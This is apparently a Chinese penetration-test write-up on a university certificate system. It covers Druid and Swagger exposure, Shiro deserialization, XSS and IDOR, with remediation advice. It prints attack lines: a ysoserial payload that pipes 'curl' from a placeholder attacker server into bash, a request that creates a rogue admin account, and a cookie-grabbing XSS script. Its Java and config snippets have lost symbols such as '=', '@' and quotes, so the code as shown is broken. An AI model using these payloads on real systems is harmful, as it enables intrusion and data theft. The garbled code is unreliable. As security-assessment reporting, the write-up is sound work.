高校证书系统渗透测试:Druid与Shiro漏洞实战分析
1. 项目概述去年夏天我受邀对某高校的证书管理系统进行安全评估。这个系统承载着全校师生的电子证书发放、查询和验证功能涉及大量敏感数据。校方在系统上线前希望进行全面的渗透测试确保没有明显安全漏洞。从初步信息收集来看系统采用Java技术栈开发前端是Vue.js后端基于Spring Boot框架。在测试过程中我们发现了多个中高危漏洞包括Druid监控界面未授权访问、Swagger接口文档暴露、Shiro反序列化风险等典型问题。本文将详细记录这次渗透测试的全过程和技术细节。2. 信息收集与目标分析2.1 基础信息探测首先使用Nmap对目标系统进行端口扫描nmap -sV -T4 -p- 目标IP扫描结果显示开放了以下关键端口80/tcp: HTTP (Nginx)443/tcp: HTTPS8080/tcp: Tomcat管理界面3306/tcp: MySQL数据库通过浏览器访问Web界面发现系统采用前后端分离架构。使用Burp Suite抓包分析后端API接口以/api/开头响应头显示使用了Spring Boot框架。2.2 目录与文件扫描使用Dirsearch进行目录爆破python3 dirsearch.py -u https://目标地址 -e * -t 50发现几个关键路径/druid/index.html- Druid监控界面/swagger-ui.html- Swagger API文档/actuator/health- Spring Boot健康检查3. 漏洞发现与利用3.1 Druid未授权访问Druid是阿里巴巴开源的数据库连接池其监控界面默认包含敏感信息。测试发现直接访问/druid/index.html无需认证即可查看风险提示Druid 1.1.10以下版本默认未启用身份验证会暴露SQL执行记录、数据源信息等敏感内容。在监控界面可以获取到所有执行的SQL语句数据库用户名非密码系统URI统计信息JVM运行参数修复建议升级到最新版Druid在配置中添加登录认证Bean public ServletRegistrationBean druidServlet() { ServletRegistrationBean reg new ServletRegistrationBean(); reg.setServlet(new StatViewServlet()); reg.addUrlMappings(/druid/*); // 添加登录配置 reg.addInitParameter(loginUsername, admin); reg.addInitParameter(loginPassword, complexPassword123); return reg; }3.2 Swagger接口文档暴露访问/swagger-ui.html发现完整的API文档包含所有接口路径和参数可交互的测试功能接口返回数据结构通过分析文档我们发现几个高危接口/api/admin/user/add- 添加管理员用户/api/cert/delete- 删除证书记录/api/config/update- 修改系统配置漏洞利用 直接调用/api/admin/user/add接口使用Burp Repeater发送以下请求POST /api/admin/user/add HTTP/1.1 Host: 目标地址 Content-Type: application/json { username: attacker, password: Hacked123!, role: admin }返回201 Created成功创建管理员账户。修复方案生产环境关闭Swaggerspringfox.documentation.enabledfalse或添加IP白名单限制Configuration public class SwaggerConfig implements WebMvcConfigurer { Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new IPInterceptor()).addPathPatterns(/swagger*); } }3.3 Shiro反序列化漏洞通过分析Cookie发现系统使用Apache Shiro进行身份验证且RememberMe字段使用了默认密钥。使用ShiroExploit工具检测python3 shiro_exploit.py -u https://目标地址确认存在CVE-2016-4437漏洞可使用默认密钥伪造身份凭证。漏洞利用步骤生成恶意序列化数据ysoserial.jar CommonsBeanutils1 curl http://攻击者服务器/shell.sh | bash使用默认密钥加密from Crypto.Cipher import AES # ...加密过程省略...将生成的RememberMe值放入Cookie访问系统成功获取系统权限。修复建议升级Shiro到最新版本修改默认密钥shiro.rememberMe.cipherKey自定义32位随机字符串4. 其他安全问题4.1 XSS漏洞在证书查询功能发现存储型XSSscriptalert(document.cookie)/script提交包含上述脚本的证书查询后管理员查看时触发执行。4.2 越权访问通过修改URL中的ID参数可以访问其他用户的证书信息/api/cert/get?id123 - 修改为?id1245. 修复与加固方案5.1 紧急修复措施立即关闭Druid监控和Swagger的对外访问重置所有用户会话更新Shiro密钥修补XSS漏洞对所有输出进行编码String safeOutput HtmlUtils.htmlEscape(userInput);5.2 长期安全建议实施最小权限原则部署WAF防护常见Web攻击建立定期的安全审计机制关键操作添加二次验证6. 渗透测试经验总结在这次测试中有几个关键发现值得注意默认配置风险Druid、Swagger和Shiro的问题都源于默认配置不安全。实际项目中必须检查所有组件的安全配置。API安全现代前后端分离架构中API成为主要攻击面。需要严格实施接口权限控制请求参数校验速率限制纵深防御单一防护措施容易被绕过应该建立多层防护网络层防火墙规则应用层输入校验、输出编码数据层参数化查询运维层日志监控安全意识技术手段之外开发团队的安全意识同样重要。建议定期安全培训建立安全开发规范实施代码安全审计这次渗透测试最终发现了12个安全问题其中3个高危漏洞。校方根据报告进行了全面修复并在系统上线前进行了复测。通过这次实战我再次认识到安全不是功能完成后才考虑的事情而是应该贯穿整个开发生命周期。